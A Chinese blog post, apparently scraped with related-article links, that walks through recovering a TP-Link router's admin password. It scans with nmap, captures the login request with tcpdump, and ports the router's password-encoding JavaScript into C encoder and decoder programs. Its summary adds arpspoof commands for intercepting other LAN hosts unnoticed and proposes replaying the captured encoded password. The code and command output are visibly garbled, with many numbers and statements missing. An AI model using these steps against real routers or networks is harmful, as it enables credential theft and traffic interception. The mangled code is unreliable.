提示:该案例仅供学习使用,切勿滥用!!!

查找路由器连接地址

查找ip

$ ifconfig
enp2s0: flags=<UP,BROADCAST,RUNNING,MULTICAST>  mtu
        inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
        inet6 fe80::d4ed:7daa:b8d3:c4c8  prefixlen   scopeid 0x20<link>
        ether :d7:f6:d7::ff  txqueuelen   (Ethernet)
        RX packets   bytes  (27.4 KiB)
        RX errors   dropped   overruns   frame
        TX packets   bytes  (49.2 KiB)
        TX errors   dropped  overruns   carrier   collisions 

lo: flags=<UP,LOOPBACK,RUNNING>  mtu
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::  prefixlen   scopeid 0x10<host>
        loop  txqueuelen   (Local Loopback)
        RX packets   bytes  (142.8 KiB)
        RX errors   dropped   overruns   frame
        TX packets   bytes  (142.8 KiB)
        TX errors   dropped  overruns   carrier   collisions 

wlp3s0: flags=<UP,BROADCAST,RUNNING,MULTICAST>  mtu
        inet 192.168.0.101  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80:::76a8:1fe8:cd16  prefixlen   scopeid 0x20<link>
        ether f0::8c:cd::  (Ethernet)
        RX packets   bytes  (6.2 MiB)
        RX errors   dropped   overruns   frame
        TX packets   bytes  (1.7 MiB)
        TX errors   dropped  overruns   carrier   collisions 

可以发现,无线是连接的192.168.0.101,用nmap扫描一下地址段

$ nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-06 10:31 CST
Nmap scan report for 192.168.0.1
Host is up (.0036s latency).
Not shown:  filtered ports
PORT     STATE SERVICE
/tcp   open  http
/tcp open  upnp

Nmap scan report for 192.168.0.101
Host is up (.000064s latency).
Not shown:  closed ports
PORT    STATE SERVICE
/tcp open  netbios-ssn
/tcp open  microsoft-ds

Nmap scan report for 192.168.0.102
Host is up (.034s latency).
All  scanned ports on 192.168.0.102 are closed

Nmap scan report for 192.168.0.107
Host is up (.018s latency).
All  scanned ports on 192.168.0.107 are closed

Nmap  IP addresses ( hosts up) scanned in 23.75 seconds

通过上述发现,有开启Http 服务的地址仅仅只有192.168.0.1,测试后发现,果然是这个地址

尝试输入密码,进行抓包,查看是否可以直接获取到

密码输入123456

通过抓包发现,密码是被加密的,例如:

{"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}

整段tcpdump

$
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlp3s0, link-type EN10MB (Ethernet), capture size  bytes
:::8c:cd::
................e...(......
:: > + PTR? )
E..HtV@.@.D....e........4l..............101.0.168.192.in-addr.arpa.....
:: > + PTR? )
E..Hv.@.@.B_...e.......5.4...............101.0.168.192.in-addr.arpa.....
:: > + PTR? )
E..F{N@.@.=....e........2N..............1.0.168.192.in-addr.arpa.....
:: > , win , options [mss ,sackOK,TS val  ecr ,nop,wscale ], length
E..<..@.@.....e.....t.P...i......r..+.........
............
:: > , win , options [mss ,sackOK,TS val  ecr ,nop,wscale ], length
E..<|.@.@.<s...e.....v.P..(......r............
............
:: > , win , options [nop,nop,TS val  ecr ], length
E....@.@.....e.....t.P...j..~p....C!.....
........
:: > , win , options [nop,nop,TS val  ecr ], length
E..|.@.@.<z...e.....v.P..).L/......;.....
........
:: > , win , options [mss ,sackOK,TS val  ecr ,nop,wscale ], length
E..<Em@.@.s....e.......P..........r.Ya.........
............
:: > , win , options [nop,nop,TS val  ecr ], length
E..4En@.@.s....e.......P.....
......Y}.....
........
:: > :, ack , win , options [nop,nop,TS val  ecr ], length : HTTP: POST / HTTP/1.1
E..6Eo@.@.q....e.......P.....
.............
........POST / HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive
Content-Length:
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: http://192.168.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}
10:42:03.742580 IP 192.168.0.101.57504 > 192.168.0.1.http: Flags [.], ack 165, win 237, options [nop,nop,TS val 4211916582 ecr 83817926], length 0

查找路由器的加密算法

通过搜索,自己探测,发现加密算法在class.js中:

其加密语句为:
其中,密码为a

this.orgAuthPwd = function(a) {
    return this.securityEncode(a, "RDpbLfCPsJZ7fiv", "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW")
};
this.securityEncode = function(a, c, b) {
    var d = "",
    e, f, g, h, k = 187,
    m = 187;
    f = a.length;
    g = c.length;
    h = b.length;
    e = f > g ? f: g;
    for (var l = 0; l < e; l++) m = k = 187,
    l >= f ? m = c.charCodeAt(l) : l >= g ? k = a.charCodeAt(l) : (k = a.charCodeAt(l), m = c.charCodeAt(l)),
    d += b.charAt((k ^ m) % h);
    return d
};

将上述javascript改为用C语言实现加密以及解密

加密

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {

    int L_PassWd  , L_Secret_Ket , L_Encrypted_string;

    // 待加密的字符串
    ";

    // 自己理解为秘钥和加密串
    char Secret_key[] = "RDpbLfCPsJZ7fiv";
    char Encrypted_string[] = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW";

     , m = ;

    L_PassWd = strlen(PassWd);
    L_Secret_Ket = strlen(Secret_key);
    L_Encrypted_string = strlen(Encrypted_string);

    int e;
    e = L_PassWd  > L_Secret_Ket ? L_PassWd  : L_Secret_Ket;

    int l;

    ;l<e;l++) {
        m = k = ;

        if ( l >= L_PassWd ) {
            m = Secret_key[l];
        } else {
            if ( l >= L_Secret_Ket ) {
                k = PassWd[l];
            } else {
                k = PassWd [l];
                m = Secret_key[l];
            }

        }

        printf("%c" , (Encrypted_string[k ^ m] % L_Encrypted_string));

    }

    printf("\n");

    ;
}

执行效果

$ gcc SecurityEncode.c
$ ./a.out
0KcgeXhc9TefbwK
$ 

解密(仅仅写了用户密码长度不大于秘钥长度的),代码未优化

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {
    // 加密后的字符串
    char Encryption_String[] = "0KcgeXhc9TefbwK";

    // 自己理解为秘钥和加密串
    char Secret_key[] = "RDpbLfCPsJZ7fiv";
    char Encrypted_string[] = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW";
    char a1;

    // 如果用户输入的登录密码长度小于等于秘钥长度,则按照秘钥来解析
    if (strlen(Encryption_String) == strlen(Secret_key)) {
        printf ("是根据秘钥来生成的加密后的密码\n");

        int l , j ;
        ;
        ;l<strlen(Secret_key);l++) {

            isok = ;
            ;j<strlen(Encrypted_string);j++) {

                if (Encrypted_string[j] == Encryption_String[l]) {

                     && (j ^ Secret_key[l]) < ) {
                        printf ("%c " , j ^ Secret_key[l]);
                        isok = ;
                    }
                }
            }
             ) {
                break;
            }
            printf ();
            printf("\n");
        }

    // 如果用户输入的登录密码长度小于等于秘钥长度,则按照用户来解析
    } else {
        printf ("是根据用户自己的密码来生成的,改天再来");

    }

    ;
}

执行效果

$ gcc DecryptCode.c
$ ./a.out
是根据秘钥来生成的加密后的密码
W J  ; (
第1个值的密码计算完毕

C J
第2个值的密码计算完毕

第3个值的密码计算完毕

o
第4个值的密码计算完毕

第5个值的密码计算完毕

-
第6个值的密码计算完毕

$ 

总结

默认情况下,tcpdump只能抓自己主机的数据包,要想实现在局域网内对其他机器进行抓包,则需要使用arp欺骗(不要被对方察觉了,不然干死你咋办),使用方法:

开启转发
$
$ sudo sysctl -p
截获数据包
$ arpspoof -i eth1 -t host gw
$ arpspoof -i eth1 -t gw host

换个角度想,假设我们已经有这个密码密文了,还需要将密文解析成明文么,我觉得没有必要,直接模拟http do请求就可以了吧

探寻TP-Link路由器的登录验证的更多相关文章

  1. Linux登录验证机制、SSH Bruteforce Login学习

    相关学习资料 http://files.cnblogs.com/LittleHann/linux%E4%B8%AD%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E8%AE% ...

  2. ThinkPHP之登录验证

    验证方面写的不是很完整,正在完善当中 <?php /** * Created by dreamcms. * User: Administrator * Date: 2016/9/5 * Time ...

  3. 搭建开发框架Express,实现Web网站登录验证

    NodeJS学习笔记(一)——搭建开发框架Express,实现Web网站登录验证   JS是脚本语言,脚本语言都需要一个解析器才能运行.对于写在HTML页面里的JS,浏览器充当了解析器的角色.而对于需 ...

  4. Asp.NetMVC利用LigerUI搭建一个简单的后台管理详解(函登录验证)

    上一篇 Asp.Net 中Grid详解两种方法使用LigerUI加载数据库数据填充数据分页  了解了LigerUI 中Grid的基本用法  现在结合上一篇的内容做一个简单的后台管理,当然也有前台的页面 ...

  5. [转载:Q1mi]Bootstrap和基于Bootstrap的登录验证示例

    转载自:Q1mi Bootstrap介绍 Bootstrap是Twitter开源的基于HTML.CSS.JavaScript的前端框架. 它是为实现快速开发Web应用程序而设计的一套前端工具包. 它支 ...

  6. Python_socket常见的方法、网络编程的安全注意事项、socketsever模块、浏览器中在一段时间记录用户的登录验证机制

    1.socket常见的方法 socket_常见方法_服务器端 import socket from socket import SOL_SOCKET,SO_REUSEADDR sk = socket. ...

  7. ASP.NET MVC5入门3之登录验证

    参考: HTML页面模版: http://www.ui.cn/detail/70262.html(第38个) MVC后台代码参考: http://www.oschina.net/p/nfine 开发环 ...

  8. Spring 笔记 -06- 从 MySQL 建库到 登录验证数据库信息(maven)

    Spring 笔记 -06- 从 MySQL 建库到 登录验证数据库信息(maven) 本篇和 Spring 没有什么关系,只是学习 Spring,必备一些知识,所以放在这里了. 本篇内容: (1)M ...

  9. 2-功能1:基于用户认证组件和Ajax实现登录验证(图片验证码)

    1.登录页面的设计 (1)label标签的id属性 label标签的id属性,点击label标记,相当于点击了input框 bootstarp样式 class="form-group&quo ...

随机推荐

  1. jar 接收utf-8字符乱码现象

    1.今天用php去调用jar出现乱码现象 需要对传递的中文字符进行编码之后再传递这里我用的是urlencode编码,让后java再解码就正常了 这里贴一下代码: <?phpexec(" ...

  2. 用js实现一个简单的mvvm

    这里利用的object.defineproperty() 方法; <input     id='input'><p id='p'><p/>js: const dat ...

  3. Epson 微型打印机打印 LOGO C#

    由于项目需要使用EPSON微型打印机打印LOGO,在网上查看了很多都是安装驱动然后设置打印机图片. 项目需要使用Bytes发送流,最后在网上找到了一些资料,记录下来方便自己和其他人使用. public ...

  4. 《Orange’s》保护模式

    保护模式 完整代码 ; ========================================== ; pmtest1.asm ; 编译方法:nasm pmtest1.asm -o pmte ...

  5. Python设计模式 - UML - 对象图(Object Diagram)

    简介 对象图和类图的基本概念是类似的,可以看作类图在系统某一时刻的镜像,显示了该时刻系统中参与交互的各个对象以及它们之间的关系. 对象图的元素包括对象.链接.包,元素之间的关系和类图相似. 对象图建模 ...

  6. 我们一起踩过的坑----react(antd)(一)

    1.}]          && ){             ){ ){ ||){ ){ );); , }; }); }, beforeUpload: (file) => { ...

  7. 软件工程Ⅱ:Git的安装与使用

    作业要求来自于https://edu.cnblogs.com/campus/gzcc/GZCC-16SE2/homework/2097 1.下载安装配置用户名和邮箱. (1) 安装Git软件. (2) ...

  8. 某公司的U3D笔试题

    某公司的U3D笔试题   今天这套笔试题感觉做得一般. 随后是二对一的技术面试,但涉及的技术细节相对较少,更多的是对以前工作.项目经历的询问. 然后说今天先到这里,让我等通知. 我还特意问了一下,通知 ...

  9. Hadoop环境搭建--Docker完全分布式部署Hadoop环境(菜鸟采坑吐血整理)

    系统:Centos 7,内核版本3.10 本文介绍如何从0利用Docker搭建Hadoop环境,制作的镜像文件已经分享,也可以直接使用制作好的镜像文件. 一.宿主机准备工作 0.宿主机(Centos7 ...

  10. checkpoint防火墙SmartDashboard登录出错

    SmartDashboard登录是报错:fingerprint不匹配 原因:主备机切换导致 解决:选择凌晨不影响业务的时间拔掉原备机的电源线.